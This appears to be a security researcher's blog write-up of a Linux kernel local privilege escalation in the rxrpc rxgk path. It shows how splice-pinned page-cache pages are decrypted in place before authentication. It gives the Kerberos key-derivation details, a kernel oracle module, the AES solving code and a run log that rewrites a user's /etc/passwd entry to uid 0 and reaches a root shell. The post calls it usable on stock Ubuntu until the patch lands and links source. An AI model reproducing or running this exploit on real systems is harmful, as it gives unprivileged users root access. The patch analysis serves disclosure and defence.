copy fail 3: rxgk
The LORD is a jealous God, and avengeth; the LORD avengeth, and is furious; the LORD will take vengeance on his adversaries, and he reserveth wrath for his enemies.
Nahum 1:2 (KJV)
Blessed be the LORD my strength, which teacheth my hands to war, and my fingers to fight.
Psalm 144:1 (KJV)
V4bel dropped Dirty Frag yesterday. two CVEs out of one family: in-place
crypto running over an sk_buff whose scatterlist includes a
splice()-pinned page-cache page, with the AEAD authentication
step gated after the in-place write already landed. CVE-2026-43284
is the xfrm/ESP half. CVE-2026-43500 is the rxrpc half. they end the same
way. pick a readable file, splice the right offset, and the kernel writes
your bytes into the page cache for you.
his writeup covers rxkad, security_index 2. that's the 56-bit
DES-derived pcbc(fcrypt) cipher AFS shipped back before anybody
had a Kerberos stack worth the name. the exploit works because fcrypt is
small enough to brute-force at 18 million ops/s on a laptop, so the
kernel-side STORE value fcrypt_decrypt(C, K) becomes whatever
you want once you rotate K through add_key enough
times.
it doesn't cover rxgk, security_index 6. that's the
GSSAPI/Kerberos class David Howells merged into the rxrpc tree as part of
his AFS modernization work, alongside crypto/krb5/.
AES-128-CTS-HMAC-SHA1-96 wrapped in crypto/krb5enc.c,
decrypt-then-MAC by design. same family, different math. i'd already been
through the xfrm and rxkad corners for
Copy Fail 2; rxgk was the one where brute
force died and i had to learn the cipher.
none of this is a new bug. the shared dispatcher above
conn->security->verify_packet lives in
net/rxrpc/call_event.c, and V4bel's patch
adds the
missing predicate right there. once it merges, the
skb->data_len > 0 clause trips on every
splice()-built skb, ours included. bpftrace confirms it on the
unpatched kernel: every shot arrives with data_len=84 and
nr_frags=2, so the patched gate fires every time. one merge
closes both security classes.
the brute force is gone, though. here's how to do the rxgk corner without it.
the cipher killed the brute force
rxkad's primitive is the in-place 8-byte STORE inside
rxkad_verify_packet_1. the bytes sitting at the spliced
page-cache position get fed as ciphertext into pcbc(fcrypt)
with a zero IV, and for a single block
pcbc_decrypt(C, K, IV=0) == fcrypt_decrypt(C, K). cipher key
K is 56 bits and lives in the rxrpc v1 token's
session_key field, which add_key("rxrpc", ...)
accepts unprivileged. rotate K, recompute, search.
V4bel's exploit assembles "::0:0:GGGGGG:" over
/etc/passwd line 1 by chaining three of those 8-byte writes at
file offsets 4, 6, 8. there's a last-write-wins trick in there to deal with
the second and third writes seeing ciphertext the first write already
mutated. PAM pam_unix.so nullok accepts the empty passwd
field, and su - walks through with no password.
rxgk is AES-128. 2^128 keyspace. no rotation strategy, and no
laptop that searches that.
there's also no K to search. the rxgk token's 16-byte field is
K0, a base key. the kernel derives the actual cipher key
Ke through the RFC 3961 chain:
TK = PRF+(K0, 16, epoch || cid || start_time || key_number)
Ke = DK(TK, htonl(usage) || KEY_USAGE_SEED_ENCRYPTION)
KEY_USAGE_SEED_ENCRYPTION is 0xAA, defined in
include/crypto/krb5.h:63. usage for inbound DATA on
a client is RXGK_SERVER_ENC_PACKET = 1028.
start_time is whatever ktime_get() / 100 returned
when the kernel client set up the connection. that's the same
start_time the kernel emits in cleartext at offset 28 of the
RESPONSE packet (rxgk_insert_response_header() in
net/rxrpc/rxgk.c). epoch and cid we
pull from the wire header of the kernel client's first DATA, and
key_number lives in the cksum field of the
RESPONSE.
all four are observable from a fake-server position. K0 is the
only secret, and we put it there ourselves.
get the KDF right
i wrote a userspace implementation of PRF+/PRF/DK against
net/crypto/krb5/rfc3961_simplified.c. got it wrong three times.
first: i had PRF+ using a 1-byte counter for each
T_n block. crypto_krb5_calc_PRFplus() literally
does *(__be32 *)(n_S.data) = htonl(n). four bytes, big-endian.
PRF+ output diverges after T_1.
second: i had PRF truncating SHA1(input) to
one cipher block by zeroing the low 4 bits of the last byte. the kernel
does tmp2.len = tmp1.len & ~(m-1) and forwards the same
buffer pointer. it's a length truncation. the bytes are untouched, only the
count drops. same 16 bytes for AES-128 either way, but the zero-low-bits
version produces the wrong PRF output every time.
third: i had DK's usage constant at 4 bytes. the kernel's
krb5_derive_Ke() builds
htonl(usage) || KEY_USAGE_SEED_ENCRYPTION for a 5-byte input
that gets n-folded into the cipher block. one byte off, but n-fold smears
it across the entire output.
i caught all three with a tiny in-tree module that calls the exported
crypto_krb5_calc_PRFplus() on a fixed input set and prints
TK to dmesg. that's kdf-oracle/krb5kdf_oracle.c:
static u8 K0[16] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f
};
static u32 epoch_v = 0x11223344;
static u32 cid_v = 0x55667788;
static u64 start_time_v = 0xaabbccddeeff0011ULL;
static u32 key_number_v = 0;
static int __init kdf_oracle_init(void)
{
const struct krb5_enctype *krb5;
struct krb5_buffer K0buf, Sbuf, TKbuf;
__be32 info[5];
u8 TK[16];
int ret;
krb5 = crypto_krb5_find_enctype(17);
if (!krb5) return -ENOENT;
K0buf.data = K0; K0buf.len = sizeof(K0);
info[0] = cpu_to_be32(epoch_v);
info[1] = cpu_to_be32(cid_v);
info[2] = cpu_to_be32((u32)(start_time_v >> 32));
info[3] = cpu_to_be32((u32)(start_time_v & 0xffffffffULL));
info[4] = cpu_to_be32(key_number_v);
Sbuf.data = info; Sbuf.len = sizeof(info);
TKbuf.data = TK; TKbuf.len = sizeof(TK);
ret = crypto_krb5_calc_PRFplus(krb5, &K0buf, sizeof(TK),
&Sbuf, &TKbuf, GFP_KERNEL);
if (ret) return ret;
pr_info("krb5kdf_oracle: TK=%s\n", to_hex(TK, 16));
return -EINVAL; /* refuse load -> auto-unload after print */
}
make && sudo insmod krb5kdf_oracle.ko on the lab box,
and dmesg said:
krb5kdf_oracle: TK=ca327dd98f2837e52a3e3b1ebc3aee08
userspace ran the same input through krb5kdf.c. after the
third bug:
userspace TK = ca327dd98f2837e52a3e3b1ebc3aee08
kernel TK = ca327dd98f2837e52a3e3b1ebc3aee08
MATCH
now Ke is computable for any (K0,
epoch, cid, start_time,
key_number). the token gives us K0, the handshake
gives us the rest.
the algebraic chain
V4bel's exploit needs decrypt(C) = target. he searches
K. we already have K (Ke, derived
above). what we have to make work is the cts(cbc(aes)) decrypt
mapping from in-flight ciphertext to in-place plaintext.
lay the wire packet out as 28 (rxrpc header) + 32 (vmsplice'd attacker
buffer) + 24 (splice from /etc/passwd at the np-line offset).
84 bytes total. after rxgk parsing, secure_len = 56,
cksum_len = 12, crypt_len = 44. the kernel's
cts(cbc(aes)) decrypt with IV=0 over those 44 bytes produces,
written in encrypt-direction language:
ct[0..15] = X0 = E_Ke(pt[0..15])
ct[16..31] = X2 = E_Ke((pt[32..43] || X1[12..15]) ^ X1)
ct[32..43] = X1[0..11] where X1 = E_Ke(pt[16..31] ^ X0)
the [16..31]/[32..43] swap is RFC 3962 CS3 ciphertext stealing
for the partial last block. the first 16 bytes go through plain CBC. the
last 28 are mangled.
position the splice so file bytes land at ct[32..43]. that
pins ct[32..43] = file[off..off+11], twelve bytes you don't
control. pt[32..43] is what you want at the file offset; pick
"x:0000:0000:" to flip a user line's UID:GID columns to
0:0. the other 24 bytes of plaintext (pt[0..31])
are confounder + rxgk header bytes. the kernel reads that header after
decrypt to validate epoch/cid/call_number/seq, but the check
runs after the in-place write, so any value gets through.
solve it backward. X1[0..11] is fixed by the file.
X1[12..15] is free, pick zeros. pt[0..15] is free,
pick zeros, which forces X0 = E_Ke(0). then
pt[16..31] falls out of one decrypt:
pt[16..31] = D_Ke(X1) ^ X0. and
X2 = E_Ke((target || X1[12..15]) ^ X1). drop X0 at
mal_hdr[28..43] and X2 at
mal_hdr[44..59]. done.
four AES-ECB ops. no search. single shot.
uint8_t X0[16], X1[16], X2[16];
uint8_t pt0_15[16] = {0};
aes_ecb(Ke, pt0_15, X0, /*encrypt=*/1);
memcpy(X1, fwin, 12);
memset(X1 + 12, 0, 4);
uint8_t DX1[16];
aes_ecb(Ke, X1, DX1, /*decrypt=*/0);
/* pt[16..31] = DX1 ^ X0 -- not needed past this point */
uint8_t X2_in[16];
memcpy(X2_in, T, 12);
memcpy(X2_in + 12, &X1[12], 4);
for (int i = 0; i < 16; i++) X2_in[i] ^= X1[i];
aes_ecb(Ke, X2_in, X2, /*encrypt=*/1);
self-check: X1[0..11] equals the existing
/etc/passwd bytes by construction. if it ever doesn't, the file
moved under us between read and splice, and you've got a bigger problem.
the chain in flight
$ ./stage5e np
[+] /etc/passwd 'np' uid:gid window @ file offset 2835
[+] current bytes:
0000: 78 3a 31 30 30 31 3a 31 30 30 31 3a x:1001:1001:
[+] desired plaintext (will land over file window):
0000: 78 3a 30 30 30 30 3a 30 30 30 30 3a x:0000:0000:
[+] got DATA epoch=0x94841f25 cid=0x6c3cbf88
[+] start_time=0x000001513ec870b8 key_number=0
[+] Ke 6a da c3 4e 1d bd f9 28 fd 50 5f 42 3e 94 42 02
[+] self-check PASS: X1[0..11] == /etc/passwd[off..off+11]
[+] malicious DATA packet sent (84 B)
[+] recvmsg: Bad message
[+] /etc/passwd[2835..2846] post-attack:
0000: 78 3a 30 30 30 30 3a 30 30 30 30 3a x:0000:0000:
[+] [ROOT] /etc/passwd page-cache flipped: 'np' line now matches target.
recvmsg: Bad message is the kernel rejecting the AEAD
authentication. by then decrypt has already run and the page-cache page
already holds the new bytes, so the -EBADMSG comes back too
late to roll anything back. the page-cache modification sticks until the
page is reclaimed or something writes drop_caches.
$ getent passwd np
np:x:0:0:Unprivileged audit account ...:/home/np:/bin/bash
NSS reads /etc/passwd through the page cache and sees uid 0.
PAM still validates np's password against
/etc/shadow, which is unchanged, so su np with the
real np password walks through. once PAM succeeds, su looks up the target
user via getpwnam("np") and setresuid(uid) to
whatever passwd says. passwd says 0.
=== inside su ===
uid=0(root) gid=0(root) groups=0(root)
this works on stock Ubuntu 26.04 LTS Resolute, kernel 7.0.0-15-generic. no
sudo, no userns, no CAP_*, no xfrm/ESP module. just
add_key("rxrpc", ...), socket(AF_RXRPC, ...)
autoload, vmsplice + splice. the same APIs
V4bel's rxkad path leaned on.
what V4bel's patch covers
the patch sits at the shared dispatcher in
net/rxrpc/call_event.c, above the per-security-class branch:
if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA &&
sp->hdr.securityIndex != 0 &&
- skb_cloned(skb)) {
+ (skb_cloned(skb) || skb->data_len)) {
/* Unshare the packet so that it can be
* modified by in-place decryption.
*/
struct sk_buff *nskb = skb_copy(skb, GFP_ATOMIC);
securityIndex != 0 matches rxkad (2), rxgk (6), and whatever
class comes next. skb->data_len > 0 catches every
splice-built skb where data lives in frags. confirmed on the unpatched
7.0.0-15 kernel:
$ sudo bpftrace probe_rxrpc.bt &
$ ./stage5e np
rxrpc_input_call_packet: len=84 data_len=84 cloned=0 nr_frags=2
rxgk_verify_packet: len=84 data_len=84 cloned=0
data_len=84 every time. once the patch lands the new clause
trips, skb_copy() linearizes into a kernel-private buffer, and
the in-place decrypt runs over bytes that no longer reference the page
cache. the same merge that closes rxkad closes rxgk.
conn_event.c:248 gets the same one-line addition for the
RESPONSE path, which covers rxgk_verify_authenticator()'s
in-place decrypt of the encrypted authenticator inside RESPONSE. both rxgk
crypto sites with attacker-controlled skb data sit downstream of those two
gates.
what is and isn't here
the class is V4bel's. he saw it first. the shared-gate fix sits at the right line, so it covers everything below it, rxgk included. no separate CVE, no separate disclosure.
the rxgk-shaped corner needed different math, because AES isn't searchable
and the cipher key isn't the token key. that part is mine: the algebraic
CTS-CBC chain, the RFC 3961 KDF derivation, the in-tree oracle harness that
caught three off-by-one bugs you can't debug out of the RFCs alone. reusable
for anyone hitting another crypto/krb5enc.c consumer, or any
future splice-frag bug in an AEAD-protected protocol where the key is out of
reach.
Source: copy-fail-3-rxgk.tar.gz or browse the files individually: krb5kdf.h, krb5kdf.c, stage5e_passwd_flip.c, kdf-oracle/krb5kdf_oracle.c, kdf-oracle/Makefile. tested on 7.0.0-15-generic. it dies the moment V4bel's patch lands. until then it's one of the cleaner ways to get root on a stock Ubuntu Resolute box from a shell account.
. _SiCk · afflicted.sh